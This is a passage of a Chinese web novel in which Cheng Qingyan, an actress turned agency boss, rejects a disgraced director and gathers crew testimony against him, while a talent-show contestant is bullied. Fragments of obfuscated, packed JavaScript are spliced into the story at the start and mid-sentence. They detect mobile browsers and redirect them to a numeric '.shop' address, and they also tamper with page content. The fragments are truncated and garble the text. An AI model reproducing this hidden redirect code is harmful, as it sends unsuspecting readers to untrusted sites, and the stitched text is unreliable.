d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13423407|141195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不清的噪音，手指机械地将手机屏幕亮开又熄灭，重复了数十次才拨通一个电话。 他的声音哑了：“程总，我是方川——你别挂，我已经在你公司楼下了。” 程青厌在办公室见到方川，眨了眨眼道：“方导怎么喊起‘程总’来了？当初我在剧组，你喊的好像不是这个。” 方川脸色瞬间白了。 程青厌要是不说，他完全忘了自己在剧组时，为了在精神上打压程青厌，一直都以《花云衣》女主被人起的黑称去叫她。程青厌提出不喜欢这种称呼，他说这只是熟悉的人之间的调侃，不要在意。 方川要是现在还看不出程青厌厌恶他，那就是个傻子了。他果断道歉：“程总，之前所有的事都是我做错了。我不该在剧组里排挤你，不该为了莫贝贝那虚无缥缈的投资商逼你退出，不该更改《花云衣》播出时间跟你打擂台。” 方川鞠了个九十度直角躬，看不见程青厌的神情，却听得见程青厌没有回应一个字，空旷的办公室里只有程青厌处理公务的钢笔沙沙声。 方川对她又恨又忌惮，咬紧牙关：“我以后再也不会冒犯您了，以后但凡是我的导演的片子，您公司要安排人角色随便挑。签约合同也可以按最优惠您那边的来签。” 这是看出单纯道歉没用，提出利益交换了。 如果程青厌肯答应，找方法帮助方川把这次舆论大危机过掉，方川便能用未来导演的影视剧跟她公司互惠互利。 程青厌笑了一下：“方导开的条件很好。我答应之后，想必我公司的艺人都能得到几个好资源。” 方川低垂的脸上也勾了勾唇。程青厌到底是跟以前一样单纯好骗，一点小恩小惠就能让她回心转意。 “那肯定的。我立马就发微博把事情澄清一下，说什么冷暴力都是误会，只是我要求严格了些，您再把合同的事情解释一下就好……” “只可惜我不答应。”程青厌打断，“你哪怕再有名气和天赋，对自己亲手拍出来的作品没有一点尊重之心，永远把普通观众当傻子糊弄，我就不会把自家艺人送到你剧组上去。更何况网上吹的你那些天赋，到底有多少水分，你自己心里清楚。” 真要说天赋和本事，方川都比不过严志明。严志明差得只是他的炒作手段以及运气而已。 “你不答应？！程青厌你疯了吧！”方川猛地抬起眼，失手碰掉了桌边的茶杯，发出“砰”的一声。 几乎是瞬间，房门打开，一个身着保洁衣服的大妈出现在他身后。 “大胆！谁准你在陛下面前放肆？” 22. 第22章 方川还未出口的话全都咽进肚子里，仿佛成了宫斗剧里冒犯了皇帝即将被拖下去处死的太监。 方川很会观察人，身后这个女人手掌粗粝，声音很具穿透性。而且这女人眼中时刻带着一种忠心护主，愿意为了程青厌赴死的态度……程青厌公司就算跟她签的是终身合同也没必要这么拼吧！ “拖下去！”程青厌也被这熟悉的氛围感染了，“……不是，带下去。” “程青厌！你还有什么条件只管提，都可以商量的啊程总！” 方川的声音很快消失了，他被连嬷嬷拽着领子提了起来，又瘦又柴的身体在空中不敢喘气。 程青厌挥了挥手，没再管敢怒不敢言的方川。 她看不上方川，为了利益无所不用其极。这种人或许会被称赞懂变通，可完全没有追求的小聪明终将被反噬。 让他逍遥了这么久，反噬也该到了。 方川得罪的人不止她一个，从圈内一个小有名气的化妆师开始，已经有六个《花云衣》剧组的工作人员明确表示可以给程青厌作证，方川在剧组内确系有精神打压演员、暴力对待工作人员等行为。 【我是《花云衣》的化妆师，在剧组内负责女主演的妆容，给程青厌化过妆。程青厌还在剧组期间，方川导演多次对我化出妆容提出异议，剧组大部分工作人员都认为程青厌妆容合适，他给的意见改出来之后明显比不过之前的。我还以为是他审美跟我们不太一样，现在看来就是为了逼程青厌离开剧组故意为之。】 【我在花云衣干摄影的，之前确实不太喜欢程青厌，但她其实挺大方亲和的，进组之后大家都对她改观很多，具备一个演员的基本素养，也完全没有外面说的耍大牌、轧戏之类的情况。方导在剧组没有明说，但大家都清楚他是在各种地方排挤程青厌，有次我跟程青厌吃饭坐得近，她的盒饭比我还不如，就这样她也没说过什么。】 【不止是程青厌吧，其实剧组里好多工作人员都挨过方川的骂。我只是个跟在场务后面打杂的，每次方川拍莫贝贝的戏过不了镜心情不好，不敢找莫贝贝发火，就骂我们，甚至有个同事都被他用脚踹过。】 这些工作人员都晒了工牌，再杠精的网友也没法说他们在造假。 “程总，没想到你人际关系这么好，他们都愿意自报身份来帮你说话。”陶露感慨。 “不完全是。”程青厌道，“这里面有些是跟我关系好，也有些是之前得罪过我的人。” 方川现在眼见地失势了，而程青厌这边一派欣欣向荣，不仅有演员时期的热度，公司推出的几个艺人没瞎的都能看出资质极佳，未来说不准会走到什么样的高度。 那些得罪过程青厌的发觉她不是任人欺负，自然心中惶恐，想着在这时候帮她作证来讨好她。 有这些人的证词，再加上程青厌晒出的修改合同的时间，她微博里对方川的所有指控足以全部证实。 程青厌：“你把爆了身份来帮我作证的人记录下来，一起发给我。” “好。”陶露说着，调出一条微博，“有个人得特别注意一下，是《花云衣》的原著作者，也发文说了这件事。” 《花云衣》作者名为毕若，绿江平台内粉丝六位数的大作者，在圈子里名声很大，每本都被改编成了影视剧。 程青厌微微挑眉，从脑海中搜索出对毕若的记忆。 这位作者很认真负责，明明可以收到版权费就把小说甩给剧组当个甩手掌柜，却从开机第一天就随组对剧本进行改编。演员轮班拍戏，她却一直站在片场，力求将自己的作品影视化后也能让观众满意。 只可惜方川极其背后的制作公司强势，毕若提出的许多意见都不能被采纳，只能眼睁睁地看着自己的作品除了主角名字以外与原作没有半点相似，后面她渐渐地也不愿再来了。 她发的微博并不像方川那么带着煽动力的情绪，只是冷静地陈述自己遇到的情况，以及行业内无数像她一样，买完版权想要圆自己的影视梦，却只能亲眼见到自己费尽心血创造的孩子成为资本卖情怀的工具。 只是在最后一句，提了一嘴圈里要是能多一些程青厌、严志明这样尊重作品的制片人和导演就好了。 毕若的粉丝对《花云衣》影视版失望透顶，都舍不得说她一句，现在看到这条微博更是如同被抛弃的孩子见到母亲一般，委屈感喷涌而出。 【原来若若也和我们一样难过，一样只是被资本绑架了而已……】 【花云衣是若若准备了三年才写出来的啊，方川你到底为什么要这样？还有脸摆出一副受害者的模样卖惨，最惨的若若在事发之前甚至连一句都不敢抱怨！】 【突然好羡慕隔壁《真千金》的编剧能遇到程青厌和严志明，以及琦季的这一群演员，听他们编剧说任何要改动剧本的地方程青厌都会去找她商量怎样改动才最合适。】 程青厌对毕若在《花云衣》剧组受到的种种冷待叹了口气，正在给她编辑私信，不料聊天框内已经弹出了毕若的消息： 【青厌，你好。虽然该叫你程总了，但每次想到在剧组里你拿着实体书一脸惆怅地问我XX片段女主的内心活动，就还是忍不住喊你小青厌。我发的微博你想必看见了，以前我卖的版权，导演不说多么尊重我的意见，起码明面儿上还是尊敬我的，我怎么都没想到方川能把事情做得这么绝，更想不到我离开剧组以后你受了这么多欺负。直到出了这种事，我才发现青厌你不仅是个尊重演戏的好演员，你真正的天赋原来在经营公司上。《真千金》我也看了，听其他朋友说这部剧是你全程监督拍下来的。如果我的新作想要找到真正能将它用影视化展现出来的人，我想只能是你这样的人。青厌，你愿意与我再合作一次吗？】 程青厌还没说话，一旁的陶露已经是快要晕倒的模样：“毕若大大的新作！她竟然提出要跟我们合作，我们要火了！” 程青厌笑道：“她新作是什么都还没发出来，就这么激动？” 调侃一句后，程青厌也清楚毕若的书在文圈的影响力，跟她初步商议了一下合作形式，接下来便是等着她将存稿慢慢发在绿江之后才好详谈。 “是部民国悬疑文。”程青厌道，“我们公司目前几个艺人还是太吃天赋了，叫他们去演与自身太不相符的角色未必能撑住。” 陶露身为娱乐圈老油条，乐观道：“不怕不怕，戚弥玉和江执这两人，脸在江山在。” 程青厌：“……” 程青厌：“那确实。” * 被寄予厚望的戚弥玉，正巧在接受关于程青厌的采访提问。 此时第一轮公演已经结束，戚弥玉蝉联三次投票第一，是当之无愧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13446105|141195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的新星顶流。 面前的小记者显然对他很有好感，对上级交代自己一定要问的问题有些犹豫：“弥玉，你经济公司的总裁程青厌近日深陷舆论危机，你对此有什么看法？” 网传戚弥玉与老板程青厌关系很好，小记者怕他会不高兴，压低声量说：“答得官方点就好。” 戚弥玉看上去并没有不悦，只是神情有些落寞：“关于这件事，我也很自责。陛下平日里在我们面前从未提及这些事，我就也没发现异常，没想过她竟然受过这么多委屈。” “陛、陛下？”小记者不解。 戚弥玉的助理解释道：“璧夏，这是程总的外号，公司里艺人们都喜欢这样喊。” 小记者被戚弥玉回答的情绪感染，也觉得愤慨难平，话中难免带了些个人情绪：“这件事不怪你，谁也想不到一向备受好评的方川竟然是这样的人……” 身后有同行拽了拽她的袖子，她才把其余的批判忍了下去，匆匆结束了采访。 戚弥玉垂下眼帘，走回练习室。 赛程太紧，练习室里不论白天黑夜都有一堆练习生在努力练习下一轮演出的歌舞。 只是哪些是真的挥洒汗水，哪些只是想来多蹭镜头得到个努力练习的名声，就很难分说了。 “弥玉，让你买的咖啡呢？”余罗带着同公司的练习生走进练习室，露出一口白牙。 他与戚弥玉的长相风格完全不同，偏向俊朗，对许多地位不如他的练习生的颐指气使都被包装成了大大咧咧没什么心机的兄弟打闹。 初舞台结束后，余罗表面上不说，暗地里跟关系好的兄弟吐槽了无数次戚弥玉一个毫无背景的练习生竟然抢了他的风头。 他一开始是故意团结其他也看不惯戚弥玉的人一起排挤，但做得有些过火，忘了厂里各个角落都时时有摄像头。他对戚弥玉的言语挑衅被录了下来，好在他背靠大公司，导演没有直接放出去，而是找经纪公司谈了条件，把这些素材都压在了文件夹，没有放进正片。 经纪公司打电话狠狠骂了他一顿，直接说如果再出现这么明显的黑料就不会再保他。 余罗这才有了一些真正录制节目的实感。 通过与小弟们的商量，余罗决定用脑子，排挤欺负戚弥玉肯定还是要的，只是不能做得太明显，得既让戚弥玉难受，还让他没法说。 余罗先是大张旗鼓地给戚弥玉道歉，戚弥玉当场就接受道歉与他“重归于好”，被剪进了正片。 虽然弹幕都在疑问他为什么要道歉，但余罗认为这下所有人都会认为戚弥玉跟他关系好了。 从那之后，余罗就借用哥俩好的样子，处处干扰戚弥玉，一会是他跳不来舞让戚弥玉通宵教他，一会是叫戚弥玉给他端茶递水，缺了什么都是戚弥玉跑腿。 “余哥，”戚弥玉慢吞吞地走过来，有些不好意思地说，“你要的那款咖啡卖光了。” 这一出没在余罗的意料之中。 他心中有些不满，但碍于镜头不能表现出来，还想装走兄友弟恭地模样拍拍戚弥玉的肩膀。 谁知他手堪堪挨到戚弥玉的衣服，戚弥玉身体就紧绷得一抖，面色都比刚才瞬间白了许多：“余哥，对不起，我真的去看过了，已经卖完了。你别再打我了。” 所有人的目光连同摄像头一起转向了余罗。